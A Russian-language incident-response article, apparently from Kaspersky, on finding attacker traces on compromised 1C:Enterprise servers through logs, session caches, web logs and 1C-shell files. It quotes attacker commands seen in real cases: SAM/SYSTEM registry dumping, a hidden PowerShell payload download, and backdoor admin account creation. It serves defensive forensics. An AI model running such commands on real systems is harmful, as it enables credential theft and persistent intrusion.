Где искать следы атакующего при компрометации 1С

В этом году мы опубликовали разбор реальных атак, в которых злоумышленники использовали некорректные настройки 1С. Такие атаки могут в конечном итоге привести к шифрованию данных, удалению виртуальных машин и другим деструктивным последствиям.

Но как расследовать такой инцидент, если он уже произошел? В данном материале мы поделимся нашим практическим опытом: расскажем, с чего начинается расследование, какие артефакты нужно искать и как анализировать журнал регистрации 1С с учетом его специфики.

Начальный этап

На старте расследования мы не всегда знаем назначение анализируемой системы. Для нас, как IR-специалистов, это просто «хост» (имя и/или IP-адрес), который фигурировал в инциденте. Мы стараемся выяснить роль машины еще до сбора триажа (первичной выгрузки данных, необходимых для анализа), но на практике данные из системы часто удается получить гораздо раньше, чем сопутствующую информацию о ней.

Рассмотрим несколько сценариев, которые приводили нас в итоге к анализу сервера с программным обеспечением 1С.

Мониторинг

Нередко первыми «звоночками» становятся алерты от систем мониторинга. Инциденты случаются даже в компаниях со зрелой ИБ-культурой, где есть всевозможные средства защиты и работает свой собственный или внешний SOC. Грамотный мониторинг позволяет не только своевременно обнаружить подозрительную активность и предотвратить фатальные последствия развития атаки, но и предоставляет полезные данные для дальнейшего расследования.

Подозрительные дочерние процессы

Один из самых явных индикаторов компрометации 1С — запуск подозрительных дочерних процессов. Например, когда рабочий процесс сервера 1С (C:\Program Files\1cv8\<ver>\bin\rphost.exe) порождает cmd.exe для выполнения команд злоумышленника.

За время расследований мы видели разные паттерны поведения, но чаще всего встречались следующие команды, выполняемые атакующим.

1. Разведка в системе. На начальном этапе злоумышленник оценивает, куда именно он попал:
   cmd.exe /c whoami cmd.exe /c systeminfo cmd.exe /c quser cmd.exe /c net user

   1 2 3 4

   cmd.exe /c whoami cmd.exe /c systeminfo cmd.exe /c quser cmd.exe /c net user

2. Дамп учетных данных. Попытки сохранить файлы реестра, чтобы получить хэши паролей пользователей:
   cmd.exe /c reg.exe save HKLM\SAM sam.save cmd.exe /c reg.exe save HKLM\SYSTEM system.save

   1 2	cmd.exe /c reg.exe save HKLM\SAM sam.save cmd.exe /c reg.exe save HKLM\SYSTEM system.save

3. Доставка вредоносной нагрузки. Скачивание на скомпрометированную систему утилит для проксирования и туннелирования трафика, а также других вредоносных инструментов:
   cmd.exe /c powershell -WindowStyle hidden Invoke-WebRequest -URI <URL> -outfile <path_to_file>

   1	cmd.exe /c powershell -WindowStyle hidden Invoke-WebRequest -URI <URL> -outfile <path_to_file>

4. Закрепление в системе. Создается новый пользователь и добавляется в группу администраторов для получения удаленного доступа (например, по RDP):
   cmd.exe /c net user <username> <password> /add cmd.exe /c net localgroup Administrators <username> /add

   1 2	cmd.exe /c net user <username> <password> /add cmd.exe /c net localgroup Administrators <username> /add

Другие способы обнаружения атак на 1С

Если же расследование проводится в условиях отсутствия данных мониторинга, артефакты использования в атаке программного обеспечения 1С приходится искать непосредственно на скомпрометированной системе. Приведем два реальных сценария, когда в ходе исследования сервера мы дотягивались до программного обеспечения 1С.

1. Аномальные RDP-входы. На скомпрометированном сервере обнаружены входы по RDP от неизвестной локальной учетной записи. Анализ выгруженного файла реестра SAM показал, что учетная запись была создана совсем недавно и легитимно ее никто не создавал. Более того, анализ журнала безопасности Windows (Security.evtx) выявил, что новая учетная запись создавалась от той самой учетной записи, под которой на сервере запущены службы 1С.
2. Поиск владельца вредоносных файлов. В системе обнаружены вредоносные файлы, при этом нет ни подозрительных RDP-входов, ни других артефактов подключения. Чтобы понять, от чьего имени были размещены эти файлы на диске, мы исследовали атрибуты безопасности файловой системы NTFS. Один из наиболее надежных способов — найти идентификатор безопасности (Security ID (SID)) вредоносного файла в системном файле $MFT и далее по файлу $SDS, зная SID, определить идентификатор владельца вредоносного файла. Проделав указанные шаги, мы установили, что файлы были созданы от учетной записи, под которой на сервере работают службы 1С.

Поиск файлов журнала регистрации 1С

Журнал регистрации хранит информацию о событиях, происходивших в информационной базе в определенный момент времени. Уровень логирования может быть настроен абсолютно по-разному. Нас интересуют две основные категории событий:

• первоначальный доступ к базе: с какой учетной записью, когда и с какого хоста злоумышленник инициировал подключения к базе;
• развитие атаки: какие действия совершал злоумышленник, получив доступ к базе.

Прежде чем начать анализ журнала регистрации 1С, необходимо определить формат этой процедуры: live (на работающей системе с возможностью подключаться к базам на сервере 1С) или же dead mode (анализ отдельных файлов).

Если есть доступ к скомпрометированному серверу и возможность подключаться к базам от учетной записи с правами администратора, самый простой способ — открыть журнал регистрации в графическом интерфейсе 1С: Администрирование -> Обслуживание -> Журнал регистрации. Следует понимать, что указанные действия придется повторить для каждой базы, имеющейся на сервере.

В ходе расследований инцидентов мы обычно используем подход dead mode, без прямого доступа к скомпрометированным серверам, запрашивая только файлы, необходимые для анализа. Файлы журнала регистрации 1С встречаются в двух форматах:

• • в виде единого файла с расширением .lgd (формат базы данных SQLite);
  • в виде набора файлов с расширениями .lgf, .lgx, .lgp, где .lgf (1Cv8.lgf) содержит общую информацию журнала регистрации, .lgp хранит фрагменты журнала регистрации, а .lgx представляют собой индексные файлы.

Обычно файлы журнала регистрации можно найти в директории C:\Program Files\1cv8\srvinfo\reg_<xxxx>\<yyyy>\1Cv8Log\, где <xxxx> — номер порта сетевой службы агента «1С:Предприятие», которая управляет кластером, а <yyyy> — GUID информационной базы. Однако надежнее перепроверять их наличие поиском файлов с этими расширениями в системном файле $MFT.

Чтобы сопоставить GUID базы (из имени директории в каталоге srvinfo) с ее реальным именем, необходимо обратиться к файлу 1CV8Clst.lst (или 1CV8Clsto.lst). В этом файле также можно найти пароли (например, от СУБД), которые зашифрованы алгоритмом AES с известными ключом и вектором инициализации. Получив этот файл, злоумышленник может использовать учетные данные из него для дальнейшего продвижения внутри инфраструктуры.

Анализ журнала регистрации 1С

Если с форматом SQLite (.lgd) все понятно, его можно открыть в любом доступном вьювере баз данных, то с файлами .lgf, .lgx, .lgp не все так просто. Для анализа журналов регистрации в данном случае необходима платформа «1С:Предприятие» (можно воспользоваться комьюнити-лицензией), чтобы открыть файл с расширением .lgf (лежащий в одной директории с файлами .lgx и .lgp) в режиме «Конфигуратор».

Первое, с чего мы начинаем анализ, — ищем базу, к которой инициировались подозрительные подключения в ходе инцидента. Тут, так или иначе, придется просмотреть все базы, доступные на сервере, и найти нужную.

При поиске подозрительных подключений к базе мы в первую очередь ищем связку событий «Сеанс. Начало» (Session. Beginning), «Сеанс. Аутентификация» (Session. Authentication) и «Сеанс. Завершение» (Session. Completion) (см. на скриншоте ниже). Это позволяет установить, какую учетную запись использовал злоумышленник и с какого компьютера он подключался. Напомним, что в журнал регистрации попадает лишь имя компьютера, с которого было инициировано подключение, и не попадает его IP-адрес. Если злоумышленник подключается к инфраструктуре через утилиту для туннелирования, с высокой долей вероятности в журнал попадет имя его компьютера, а не имя скомпрометированной системы внутри инфраструктуры. Также в событии журнала видно, какой клиент использовался для подключения. Это может быть «Конфигуратор» (Designer), «Тонкий клиент» (Thin client), «Веб-клиент» (Web client) и другие.

Пример событий при подключении к информационной базе

Иногда связка событий подключения к базе и отключения от нее может быть единственной. Но часто между ними удается найти дополнительные следы активности злоумышленника (о чем поговорим далее). Бывают и ситуации, когда событий подключения к базе нет вовсе, но есть специфические ошибки, прямо указывающие на активность злоумышленников (например, ошибка при запуске команд через внешнюю обработку). Таким образом, результат расследования во многом зависит от уровня логирования, настроенного в базе.

Маркеры подозрительной активности

При анализе в журнале регистрации 1С необходимо обращать внимание на любые события, которые происходили в базе в период активности злоумышленника. Дать универсальный список подозрительных событий невозможно, поскольку уровень логирования у всех настроен по-разному. В нашей практике не бывало двух расследований с абсолютно одинаковым набором событий, которые мы видели в журнале регистрации. Но можно выделить несколько паттернов подозрительной активности, которые встречались нам в реальных инцидентах.

Ошибки при работе с 1С-шеллами

В журнале регистрации 1С сохраняются предупреждения или ошибки. Когда злоумышленник загружает вредоносную внешнюю обработку (1C-шелл) и выполняет через нее команды, бывает, что возникают ошибки. В журнале это отражается как событие «Ошибка выполнения», в описании которого фигурирует текст, связанный с запуском кода из внешней обработки. Какая именно ошибка произошла, понять не всегда возможно, но сам факт таких событий в журнале регистрации в период инцидента позволят нам сделать однозначный вывод: злоумышленник загружал 1С-шелл в базу. Ниже приведем примеры ошибок, которые встречались нам на проектах.

Далее на скриншоте приведен пример события «Ошибка выполнения» при работе через 1С-шелл. Ошибка произошла при выполнении SQL-запроса к базе.

Ошибка при выполнении SQL-запроса к базе

Ниже приведен пример события «Ошибка выполнения», связанного с тем, что при выполнении некоторой команды через 1C-шелл не был найден необходимый файл.

Ошибка, связанная с тем, что файл не найден

Попытка выгрузки информационной базы

Что еще может попасть под определение подозрительной активности? В режиме «Конфигуратор» есть штатная функция выгрузки информационной базы в файл. На практике, если мы видим события создания дампа базы (или ошибку его создания) через этот интерфейс во время инцидента — это почти всегда дело рук злоумышленника. Далее можно увидеть пример событий при создании дампа базы в период подключения к базе злоумышленника.

Создание дампа информационной базы

На следующем скриншоте приведен пример ошибки, которая произошла при создании дампа базы.

Ошибка при создании дампа базы

Изменение свойств пользователей

Подозрительной выглядит активность, если в период подключения к базе злоумышленника изменялись свойства пользователя. Предположим, скомпрометированная учетная запись имеет права администратора базы, но не имеет прав на запуск внешних обработок. В таком случае злоумышленник, получив доступ к базе, может изменить свойства любого пользователя, добавив ему или себе необходимые роли и права. Пример события, указывающего на изменение свойств пользователя, приведен на следующем скриншоте.

Событие, связанное с изменением свойств пользователя (User 1 меняет свойства пользователя User 2)

В ходе одного из расследований нам встретилась ошибка изменения настроек журнала регистрации, причем это была единственная ошибка в журнале регистрации базы за весь период активности злоумышленника в системе. Предположительно, атакующий пытался отключить логирование или изменить его уровень, чтобы скрыть свои следы. Ниже приведен пример описанной ошибки.

Ошибка при попытке изменения настроек журнала регистрации

Нестандартная ситуация

В одном из случаев мы видели по журналам регистрации, что злоумышленник точно подключался к базе и отключался от нее (в период этой сессии в системе была создана новая локальная учетная запись). Однако поле имени пользователя было пустым, события аутентификации не происходило, а в поле имени компьютера сохранилось имя машины злоумышленника (подключенного через туннель к инфраструктуре). Пример фрагмента такого журнала регистрации приведен далее.

Подключение злоумышленника к базе без указания имени пользователя

У нас возникло предположение об ошибке парсинга файлов журнала регистрации. Однако, проверив файл 1cv8.lgf, мы убедились, что никакого случайного сбоя при парсинге не возникало, а база, с которой мы работали, просто не имела ни одного пользователя. Оказалось, что некоторые служебные базы 1С для мониторинга (например, из теста Гилева) по умолчанию не имеют ни механизма аутентификации, ни пользователей, чем и могут воспользоваться злоумышленники при развитии атаки.

Технологический журнал

Простыми словами, технологический журнал — это встроенный механизм платформы 1С, где фиксируются внутренние события (ошибки и исключения, длительные операции, события администрирования и пр.).

Технологический журнал настраивается через конфигурационный файл logcfg.xml, который хранится в директории \Program Files\1cv8\conf (или \Program Files\1cv8\<ver>\bin\conf). Конфигурационный файл представляет собой XML-файл, где задаются:

• директория, куда сохраняются файлы журнала;
• события, которые фиксируются;
• срок хранения файлов (указывается в часах).

По умолчанию включено минимальное логирование: журналы сохраняются в директории \Users\<username>\AppData\Local\1C\1cv8\logs, но глубина хранения в этом случае невелика (обычно не более суток), как и объем регистрируемых событий.

Особый интерес для расследования представляют события ADMIN и CONN.

При включении событий ADMIN фиксируются действия администратора в кластере серверов 1С: можно увидеть, с какого хоста инициировались подключения к консоли администрирования кластером, когда создавалась новая информационная база и пр.

В листинге ниже приведен фрагмент журнала с аутентификацией администратора в консоли администрирования кластера серверов 1С.

Как видно из фрагмента журнала, поле Administrator= пустое. Это означает, что консоль администрирования кластера доступна без аутентификации. Если учетная запись администратора кластера серверов 1С создана, то в поле Administrator= будет имя этой учетной записи. Пример в листинге ниже.

Если же учетная запись администратора задана, но вводится неправильный пароль или учетные данные несуществующего пользователя, то фиксируется событие со следующей ошибкой.

Также, если злоумышленник создавал новую информационную базу, то в журнале можно увидеть событие ее создания (с указанием ее имени и идентификатора).

Когда определено имя хоста, с которого злоумышленник подключался к консоли администрирования и/или временной промежуток его активности, события CONN помогут установить IP-адрес машины, с которой он работал.
Можно, например, поискать имя хоста в имеющихся журналах сетевых соединений и определить IP-адрес по соседним записям. В данном случае IP-адрес был обнаружен в одном из событий в поле Accepted, client=.

При расследовании большинства инцидентов мы сталкиваемся с тем, что технологический журнал 1С отключен или настроен на минимальное логирование. Однако, если он ведется, его данные могут иметь большое значение для расследования.

Сторонние артефакты

В ходе одного из расследований был обнаружен интересный артефакт. В директории C:\Program Files\1cv8\srvinfo\reg_<xxxx>\snccntx<уникальный идентификатор> хранится сеансовый кэш (сеансовые данные): служебная информация, необходимая для функционирования программного обеспечения, включая содержимое полей ввода на формах. В указанной директории был обнаружен файл, в котором, среди прочего, сохранились строки команд, запускаемых злоумышленником через 1С-шелл.

Данные, хранящиеся в файлах сеансового кэша, не предназначены для просмотра человеком, и здесь на помощь приходит утилита strings. Фильтруя ее вывод, можно обнаружить следы активности злоумышленника, выполнявшего команды через 1С-шелл.

Анализ логов веб-сервера

Когда информационная база 1С доступна через веб-клиент, появляется еще один ценный источник данных — журналы доступа веб-сервера.

Нередко злоумышленники проводят разведку, перебирая URL на сервере. Это может выглядеть следующим образом: после ряда неуспешных попыток (код 404) они получают код ответа 200 — существующий URL найден. В данном случае по найденному URL была доступна информационная база 1С.

Фрагмент журнала доступа веб-сервера

Анализ журналов веб-сервера стоит начать с поиска успешных обращений к панели входа в 1С с подозрительных IP-адресов (в частности, принадлежащих публичным сервисам анонимизации трафика).

Далее, когда подозрительные обращения к панели входа в 1С найдены, следует проверить GET-запросы к адресу вида: https://<server_ip>/<1C_base_name>/ru_RU/e1cib/users. Успешный запрос на такой URL указывает на то, что злоумышленник, скорее всего, получил список пользователей базы, открыв выпадающий список в форме входа.

И наконец, успешный POST-запрос к адресу https://<server_ip>/<1C_base_name>/ru_RU/e1cib/login (сопровождающийся кодом ответа 200) свидетельствует об успешной аутентификации злоумышленника в 1С.

Анализ рабочих мест с клиентами 1С

В случае взлома сервера 1С, как правило, существует еще одна точка компрометации — компьютер, с которого инициировались подключения к информационной базе 1С. Эта клиентская машина может находиться в той же инфраструктуре, а может, например, в инфраструктуре взломанной подрядной организации, с которой установлены доверительные отношения.

Анализ такого компьютера является не менее интересным для расследования. Одной из ключевых задач здесь является поиск подозрительных файлов с расширением .epf (внешних обработок). Если такой файл найден, его можно открыть с помощью 1C (достаточно, напомним, комьюнити-лицензии) в режиме «Конфигуратор», выбрав нужную форму.

Открытие вредоносной внешней обработки в режиме «Конфигуратор»

Это позволит увидеть используемый 1С-шелл в виде формы. Пример формы 1С-шелла приведен на следующем скриншоте.

Пример формы 1С-шелла

Дополнительно, перейдя к коду обработчика нажатия, можно проанализировать код 1С-шелла.

Код 1С-шелла

Заключение

В этой статье мы рассмотрели основные подходы к анализу сервера с программным обеспечением 1С при расследовании инцидентов.

Артефакты использования в атаке платформы 1С можно обнаружить в данных систем мониторинга или при непосредственном анализе скомпрометированного сервера.

Важные источники информации при исследовании — технологический журнал и журнал регистрации 1С. К маркерам подозрительной активности относятся, например, подозрительные подключения к консоли администрирования кластера серверов 1С, создание новых информационных баз, ошибки при работе с 1С-шеллами, попытки выгрузки информационной базы и пр.

Основные ошибки конфигурации, используемые злоумышленниками в атаках, и рекомендации по их устранению мы подробно разбирали в другой нашей статье. Повторимся, что на серверах с программным обеспечением 1С необходимо обращать внимание на любые срабатывания защитных решений. Продукты «Лаборатории Касперского» обнаруживают и блокируют попытки вредоносной эксплуатации 1С при помощи компонента Behavior Detection с вердиктом PDM:Exploit.Win32.Generic. Кроме того, наши решения детектируют различные вредоносные внешние обработки, доступные на GitHub, со следующими вердиктами:

Backdoor.Script.1CShell.*;
HackTool.Script.1CShell.*;
Trojan.Multi.Agent.y.